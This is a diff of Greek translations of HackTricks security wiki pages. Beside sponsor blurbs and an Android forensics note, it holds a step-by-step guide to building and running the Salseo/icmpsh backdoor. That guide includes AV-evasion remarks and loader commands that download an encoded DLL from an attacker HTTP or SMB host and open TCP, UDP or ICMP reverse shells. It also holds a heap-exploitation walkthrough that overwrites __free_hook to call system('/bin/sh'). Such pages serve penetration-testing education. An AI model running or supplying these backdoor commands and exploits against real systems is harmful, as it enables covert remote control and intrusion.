b. Στο βαθμό που είναι δυνατόν, εάν οποιαδήποτε διάταξη αυτής της Δημόσιας Άδειας κριθεί μη εκτελέσιμη, θα αναμορφωθεί αυτόματα στο ελάχιστο βαθμό που είναι απαραίτητο για να καταστεί εκτελέσιμη. Εάν η διάταξη δεν μπορεί να αναμορφωθεί, θα αποσπαστεί από αυτή τη Δημόσια Άδεια χωρίς να επηρεάζεται η εκτελεστότητα των υπόλοιπων όρων και προϋποθέσεων.
|
||||
b. Στο βαθμό που είναι δυνατόν, εάν οποιαδήποτε διάταξη αυτής της Δημόσιας Άδειας κριθεί μη εκτελέσιμη, θα αναμορφωθεί αυτόματα στον ελάχιστο βαθμό που είναι απαραίτητο για να καταστεί εκτελέσιμη. Εάν η διάταξη δεν μπορεί να αναμορφωθεί, θα αποσπαστεί από αυτή τη Δημόσια Άδεια χωρίς να επηρεάζεται η εκτελεστότητα των υπολοίπων όρων και προϋποθέσεων.
|
||||
|
||||
c. Κανένας όρος ή προϋπόθεση αυτής της Δημόσιας Άδειας δεν θα παραληφθεί και καμία αποτυχία συμμόρφωσης δεν θα γίνει αποδεκτή εκτός εάν συμφωνηθεί ρητά από τον Αδειοδότη.
|
||||
|
||||
|
||||
@ -94,12 +94,12 @@ generic-methodologies-and-resources/pentesting-methodology.md
|
||||
|
||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** προσφέρει γρήγορες και εύκολες APIs σε πραγματικό χρόνο για **πρόσβαση στα αποτελέσματα μηχανών αναζήτησης**. Scrape μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
|
||||
**SerpApi** προσφέρει γρήγορες και εύκολες APIs σε πραγματικό χρόνο για **πρόσβαση στα αποτελέσματα μηχανών αναζήτησης**. Scrape-άρουν τις μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
|
||||
|
||||
Μια συνδρομή σε ένα από τα σχέδια του SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικά APIs για scraping διαφορετικών μηχανών αναζήτησης, συμπεριλαμβανομένων των Google, Bing, Baidu, Yahoo, Yandex και άλλων.\
|
||||
Σε αντίθεση με άλλους παρόχους, **η SerpApi δεν κάνει μόνο scraping οργανικών αποτελεσμάτων**. Οι απαντήσεις της SerpApi περιλαμβάνουν σταθερά όλες τις διαφημίσεις, inline εικόνες και βίντεο, γραφήματα γνώσεων και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.
|
||||
Σε αντίθεση με άλλους παρόχους, **το SerpApi δεν κάνει μόνο scraping οργανικών αποτελεσμάτων**. Οι απαντήσεις του SerpApi περιλαμβάνουν σταθερά όλες τις διαφημίσεις, inline εικόνες και βίντεο, γραφήματα γνώσεων και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.
|
||||
|
||||
Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν **Apple, Shopify και GrubHub**.\
|
||||
Οι τρέχοντες πελάτες του SerpApi περιλαμβάνουν **Apple, Shopify και GrubHub**.\
|
||||
Για περισσότερες πληροφορίες, ελέγξτε το [**blog**](https://serpapi.com/blog/)**,** ή δοκιμάστε ένα παράδειγμα στο [**playground**](https://serpapi.com/playground)**.**\
|
||||
Μπορείτε να **δημιουργήσετε έναν δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign_up)**.**
|
||||
|
||||
@ -109,7 +109,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
|
||||
|
||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Μάθετε τις τεχνολογίες και τις δεξιότητες που απαιτούνται για να εκτελέσετε έρευνα ευπαθειών, penetration testing και reverse engineering για να προστατεύσετε τις κινητές εφαρμογές και τις συσκευές. **Κατακτήστε την ασφάλεια iOS και Android** μέσω των on-demand μαθημάτων μας και **λάβετε πιστοποίηση**:
|
||||
Μάθετε τις τεχνολογίες και τις δεξιότητες που απαιτούνται για να εκτελέσετε έρευνα ευπαθειών, penetration testing και reverse engineering για να προστατεύσετε τις κινητές εφαρμογές και συσκευές. **Κατακτήστε την ασφάλεια iOS και Android** μέσω των on-demand μαθημάτων μας και **λάβετε πιστοποίηση**:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
@ -123,7 +123,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
|
||||
|
||||
Η WebSec είναι μια **all-in-one εταιρεία ασφάλειας**, που σημαίνει ότι τα κάνει όλα: Pentesting, **Security** Audits, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Phishing, Ανασκόπηση Κώδικα, Ανάπτυξη Exploit, Εξωτερική Ανάθεση Ειδικών Ασφαλείας και πολλά άλλα.
|
||||
|
||||
Ένα άλλο ενδιαφέρον στοιχείο για την WebSec είναι ότι, σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις δεξιότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, δηλώνει στην ιστοσελίδα της "**Αν δεν μπορούμε να το χακάρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους!
|
||||
Ένα άλλο ενδιαφέρον στοιχείο σχετικά με την WebSec είναι ότι, σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις δεξιότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, δηλώνει στην ιστοσελίδα της "**Αν δεν μπορούμε να το χακάρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) τους και στο [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Επιπλέον, η WebSec είναι επίσης **δεσμευμένος υποστηρικτής του HackTricks.**
|
||||
|
||||
|
||||
@ -868,3 +868,4 @@
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
||||
|
||||
|
||||
@ -12,16 +12,16 @@
|
||||
|
||||
## Απόκτηση Δεδομένων
|
||||
|
||||
Δημιουργήστε ένα [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) και εξάγετε το χρησιμοποιώντας το [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
|
||||
Δημιουργήστε ένα [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) και εξαγάγετέ το χρησιμοποιώντας το [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
|
||||
|
||||
### Αν έχετε πρόσβαση root ή φυσική σύνδεση στη διεπαφή JTAG
|
||||
|
||||
- `cat /proc/partitions` (αναζητήστε τη διαδρομή στη μνήμη flash, γενικά η πρώτη καταχώρηση είναι _mmcblk0_ και αντιστοιχεί σε ολόκληρη τη μνήμη flash).
|
||||
- `df /data` (Ανακαλύψτε το μέγεθος μπλοκ του συστήματος).
|
||||
- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (εκτελέστε το με τις πληροφορίες που συγκεντρώθηκαν από το μέγεθος μπλοκ).
|
||||
- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (εκτελέστε το με τις πληροφορίες που συλλέξατε από το μέγεθος μπλοκ).
|
||||
|
||||
### Μνήμη
|
||||
|
||||
Χρησιμοποιήστε το Linux Memory Extractor (LiME) για να εξάγετε τις πληροφορίες RAM. Είναι μια επέκταση πυρήνα που πρέπει να φορτωθεί μέσω adb.
|
||||
Χρησιμοποιήστε το Linux Memory Extractor (LiME) για να εξαγάγετε τις πληροφορίες RAM. Είναι μια επέκταση πυρήνα που πρέπει να φορτωθεί μέσω adb.
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,31 +1,25 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
Κατεβάστε το backdoor από: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
|
||||
# Client side
|
||||
|
||||
Execute the script: **run.sh**
|
||||
|
||||
**If you get some error, try to change the lines:**
|
||||
Εκτελέστε το σενάριο: **run.sh**
|
||||
|
||||
**Αν λάβετε κάποιο σφάλμα, προσπαθήστε να αλλάξετε τις γραμμές:**
|
||||
```bash
|
||||
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||
```
|
||||
|
||||
**For:**
|
||||
|
||||
**Για:**
|
||||
```bash
|
||||
echo Please insert the IP where you want to listen
|
||||
read IP
|
||||
```
|
||||
# **Πλευρά Θύματος**
|
||||
|
||||
# **Victim Side**
|
||||
|
||||
Upload **icmpsh.exe** to the victim and execute:
|
||||
|
||||
Ανεβάστε **icmpsh.exe** στο θύμα και εκτελέστε:
|
||||
```bash
|
||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||
```
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,159 +2,142 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Compiling the binaries
|
||||
## Συγκέντρωση των δυαδικών αρχείων
|
||||
|
||||
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
|
||||
Κατεβάστε τον πηγαίο κώδικα από το github και συγκεντρώστε το **EvilSalsa** και το **SalseoLoader**. Θα χρειαστείτε εγκατεστημένο το **Visual Studio** για να συγκεντρώσετε τον κώδικα.
|
||||
|
||||
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).
|
||||
Συγκεντρώστε αυτά τα έργα για την αρχιτεκτονική της Windows συσκευής όπου θα τα χρησιμοποιήσετε (Αν τα Windows υποστηρίζουν x64, συγκεντρώστε τα για αυτές τις αρχιτεκτονικές).
|
||||
|
||||
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
|
||||
Μπορείτε να **επιλέξετε την αρχιτεκτονική** μέσα στο Visual Studio στην **αριστερή καρτέλα "Build"** στην **"Platform Target".**
|
||||
|
||||
(\*\*If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**)
|
||||
(\*\*Αν δεν μπορείτε να βρείτε αυτές τις επιλογές, πατήστε στην **"Project Tab"** και στη συνέχεια στην **"\<Project Name> Properties"**)
|
||||
|
||||
.png>)
|
||||
|
||||
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
|
||||
Στη συνέχεια, κατασκευάστε και τα δύο έργα (Build -> Build Solution) (Μέσα στα logs θα εμφανιστεί η διαδρομή του εκτελέσιμου):
|
||||
|
||||
 (2) (1) (1) (1).png>)
|
||||
|
||||
## Prepare the Backdoor
|
||||
## Προετοιμάστε το Backdoor
|
||||
|
||||
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**:
|
||||
Πρώτα απ' όλα, θα χρειαστεί να κωδικοποιήσετε το **EvilSalsa.dll.** Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το python script **encrypterassembly.py** ή μπορείτε να συγκεντρώσετε το έργο **EncrypterAssembly**:
|
||||
|
||||
### **Python**
|
||||
|
||||
```
|
||||
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
|
||||
### Windows
|
||||
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
Εντάξει, τώρα έχετε όλα όσα χρειάζεστε για να εκτελέσετε όλα τα πράγματα Salseo: το **encoded EvilDalsa.dll** και το **binary of SalseoLoader.**
|
||||
|
||||
Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
|
||||
**Ανεβάστε το SalseoLoader.exe binary στη μηχανή. Δεν θα πρέπει να ανιχνεύονται από κανένα AV...**
|
||||
|
||||
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
|
||||
## **Εκτέλεση του backdoor**
|
||||
|
||||
## **Execute the backdoor**
|
||||
|
||||
### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
|
||||
|
||||
Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
|
||||
### **Λήψη ενός TCP reverse shell (κατεβάζοντας το encoded dll μέσω HTTP)**
|
||||
|
||||
Θυμηθείτε να ξεκινήσετε ένα nc ως τον listener του reverse shell και έναν HTTP server για να σερβίρετε το encoded evilsalsa.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Λήψη ενός UDP reverse shell (κατέβασμα κωδικοποιημένου dll μέσω SMB)**
|
||||
|
||||
### **Getting a UDP reverse shell (downloading encoded dll through SMB)**
|
||||
|
||||
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
|
||||
|
||||
Θυμηθείτε να ξεκινήσετε ένα nc ως τον listener του reverse shell και έναν SMB server για να εξυπηρετήσει το κωδικοποιημένο evilsalsa (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Λήψη ICMP αντίστροφης θύρας (κωδικοποιημένο dll ήδη μέσα στο θύμα)**
|
||||
|
||||
### **Getting a ICMP reverse shell (encoded dll already inside the victim)**
|
||||
|
||||
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **Disable ICMP Replies:**
|
||||
**Αυτή τη φορά χρειάζεστε ένα ειδικό εργαλείο στον πελάτη για να λάβετε την αντίστροφη θύρα. Κατεβάστε:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **Απενεργοποίηση Απαντήσεων ICMP:**
|
||||
```
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
|
||||
#### Execute the client:
|
||||
|
||||
#### Εκτέλεση του πελάτη:
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
|
||||
#### Inside the victim, lets execute the salseo thing:
|
||||
|
||||
#### Μέσα στον θύμα, ας εκτελέσουμε το salseo πράγμα:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## Συγκέντρωση του SalseoLoader ως DLL που εξάγει τη βασική λειτουργία
|
||||
|
||||
## Compiling SalseoLoader as DLL exporting main function
|
||||
Ανοίξτε το έργο SalseoLoader χρησιμοποιώντας το Visual Studio.
|
||||
|
||||
Open the SalseoLoader project using Visual Studio.
|
||||
|
||||
### Add before the main function: \[DllExport]
|
||||
### Προσθέστε πριν από τη βασική λειτουργία: \[DllExport]
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Install DllExport for this project
|
||||
### Εγκαταστήστε το DllExport για αυτό το έργο
|
||||
|
||||
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
|
||||
#### **Εργαλεία** --> **Διαχειριστής Πακέτων NuGet** --> **Διαχείριση Πακέτων NuGet για τη Λύση...**
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
|
||||
#### **Αναζητήστε το πακέτο DllExport (χρησιμοποιώντας την καρτέλα Αναζήτησης) και πατήστε Εγκατάσταση (και αποδεχτείτε το αναδυόμενο παράθυρο)**
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat**
|
||||
Στο φάκελο του έργου σας έχουν εμφανιστεί τα αρχεία: **DllExport.bat** και **DllExport_Configure.bat**
|
||||
|
||||
### **U**ninstall DllExport
|
||||
### **Α**πεγκαταστήστε το DllExport
|
||||
|
||||
Press **Uninstall** (yeah, its weird but trust me, it is necessary)
|
||||
Πατήστε **Απεγκατάσταση** (ναι, είναι περίεργο αλλά εμπιστευτείτε με, είναι απαραίτητο)
|
||||
|
||||
 (1) (1) (2) (1).png>)
|
||||
|
||||
### **Exit Visual Studio and execute DllExport_configure**
|
||||
### **Έξοδος από το Visual Studio και εκτέλεση του DllExport_configure**
|
||||
|
||||
Just **exit** Visual Studio
|
||||
Απλά **έξοδος** από το Visual Studio
|
||||
|
||||
Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat**
|
||||
Στη συνέχεια, πηγαίνετε στο **φάκελο SalseoLoader** σας και **εκτελέστε το DllExport_Configure.bat**
|
||||
|
||||
Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply**
|
||||
Επιλέξτε **x64** (αν πρόκειται να το χρησιμοποιήσετε μέσα σε ένα x64 box, αυτό ήταν η περίπτωση μου), επιλέξτε **System.Runtime.InteropServices** (μέσα στο **Namespace για DllExport**) και πατήστε **Εφαρμογή**
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
### **Open the project again with visual Studio**
|
||||
### **Ανοίξτε ξανά το έργο με το Visual Studio**
|
||||
|
||||
**\[DllExport]** should not be longer marked as error
|
||||
**\[DllExport]** δεν θα πρέπει πλέον να επισημαίνεται ως σφάλμα
|
||||
|
||||
 (1).png>)
|
||||
|
||||
### Build the solution
|
||||
### Δημιουργία της λύσης
|
||||
|
||||
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
|
||||
Επιλέξτε **Τύπος Έξοδου = Βιβλιοθήκη Κλάσης** (Έργο --> Ιδιότητες SalseoLoader --> Εφαρμογή --> Τύπος εξόδου = Βιβλιοθήκη Κλάσης)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
|
||||
Επιλέξτε **πλατφόρμα x64** (Έργο --> Ιδιότητες SalseoLoader --> Δημιουργία --> Στόχος πλατφόρμας = x64)
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear)
|
||||
Για να **δημιουργήσετε** τη λύση: Δημιουργία --> Δημιουργία Λύσης (Μέσα στην κονσόλα εξόδου θα εμφανιστεί η διαδρομή της νέας DLL)
|
||||
|
||||
### Test the generated Dll
|
||||
### Δοκιμάστε την παραγόμενη DLL
|
||||
|
||||
Copy and paste the Dll where you want to test it.
|
||||
|
||||
Execute:
|
||||
Αντιγράψτε και επικολλήστε την DLL όπου θέλετε να τη δοκιμάσετε.
|
||||
|
||||
Εκτελέστε:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
Αν δεν εμφανιστεί σφάλμα, πιθανότατα έχετε ένα λειτουργικό DLL!!
|
||||
|
||||
If no error appears, probably you have a functional DLL!!
|
||||
## Πάρτε ένα shell χρησιμοποιώντας το DLL
|
||||
|
||||
## Get a shell using the DLL
|
||||
|
||||
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
|
||||
Μην ξεχάσετε να χρησιμοποιήσετε έναν **HTTP** **server** και να ρυθμίσετε έναν **nc** **listener**
|
||||
|
||||
### Powershell
|
||||
|
||||
```
|
||||
$env:pass="password"
|
||||
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
|
||||
@ -163,9 +146,7 @@ $env:lport="1337"
|
||||
$env:shell="reversetcp"
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
|
||||
### CMD
|
||||
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
@ -174,5 +155,4 @@ set lport=1337
|
||||
set shell=reversetcp
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,13 +1,13 @@
|
||||
> [!TIP]
|
||||
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Support HackTricks</summary>
|
||||
> <summary>Υποστηρίξτε το HackTricks</summary>
|
||||
>
|
||||
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
> - Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
>
|
||||
> </details>
|
||||
|
||||
@ -1,3 +1 @@
|
||||
# Arbitrary Write 2 Exec
|
||||
|
||||
|
||||
# Αυθαίρετη Γραφή 2 Εκτέλεση
|
||||
|
||||
@ -4,34 +4,32 @@
|
||||
|
||||
## **Malloc Hook**
|
||||
|
||||
As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**.
|
||||
Όπως μπορείτε να δείτε στον [Επίσημο ιστότοπο GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), η μεταβλητή **`__malloc_hook`** είναι ένας δείκτης που δείχνει στη **διεύθυνση μιας συνάρτησης που θα καλείται** όποτε καλείται το `malloc()` **αποθηκευμένη στην ενότητα δεδομένων της βιβλιοθήκης libc**. Επομένως, αν αυτή η διεύθυνση αντικατασταθεί με ένα **One Gadget** για παράδειγμα και κληθεί το `malloc`, το **One Gadget θα κληθεί**.
|
||||
|
||||
To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap.
|
||||
Για να καλέσετε το malloc, είναι δυνατόν να περιμένετε να το καλέσει το πρόγραμμα ή με **καλώντας `printf("%10000$c")`** που δεσμεύει πάρα πολλά bytes κάνοντάς το `libc` να καλέσει το malloc για να τα δεσμεύσει στο heap.
|
||||
|
||||
More info about One Gadget in:
|
||||
Περισσότερες πληροφορίες σχετικά με το One Gadget στο:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
> Σημειώστε ότι οι hooks είναι **απενεργοποιημένες για GLIBC >= 2.34**. Υπάρχουν άλλες τεχνικές που μπορούν να χρησιμοποιηθούν σε σύγχρονες εκδόσεις GLIBC. Δείτε: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
|
||||
## Free Hook
|
||||
|
||||
This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack:
|
||||
Αυτό εκμεταλλεύτηκε σε ένα από τα παραδείγματα της σελίδας εκμεταλλευόμενος μια γρήγορη επίθεση bin μετά την εκμετάλλευση μιας επίθεσης unsorted bin:
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/unsorted-bin-attack.md
|
||||
{{#endref}}
|
||||
|
||||
It's posisble to find the address of `__free_hook` if the binary has symbols with the following command:
|
||||
|
||||
Είναι δυνατόν να βρείτε τη διεύθυνση του `__free_hook` αν το δυαδικό αρχείο έχει σύμβολα με την ακόλουθη εντολή:
|
||||
```bash
|
||||
gef➤ p &__free_hook
|
||||
```
|
||||
|
||||
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
|
||||
[Στην ανάρτηση](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) μπορείτε να βρείτε έναν οδηγό βήμα προς βήμα για το πώς να εντοπίσετε τη διεύθυνση του free hook χωρίς σύμβολα. Ως περίληψη, στη συνάρτηση free:
|
||||
|
||||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||||
0xf75dedc0 <free>: push ebx
|
||||
@ -45,26 +43,26 @@ gef➤ p &__free_hook
|
||||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||||
</code></pre>
|
||||
|
||||
In the mentioned break in the previous code in `$eax` will be located the address of the free hook.
|
||||
Στο αναφερόμενο breakpoint στον προηγούμενο κώδικα, στο `$eax` θα βρίσκεται η διεύθυνση του free hook.
|
||||
|
||||
Now a **fast bin attack** is performed:
|
||||
Τώρα εκτελείται μια **γρήγορη επίθεση bin**:
|
||||
|
||||
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
|
||||
- Πρώτα απ' όλα, ανακαλύπτεται ότι είναι δυνατό να εργαστούμε με γρήγορες **chunks μεγέθους 200** στη θέση **`__free_hook`**:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
|
||||
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
|
||||
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
|
||||
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
|
||||
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
|
||||
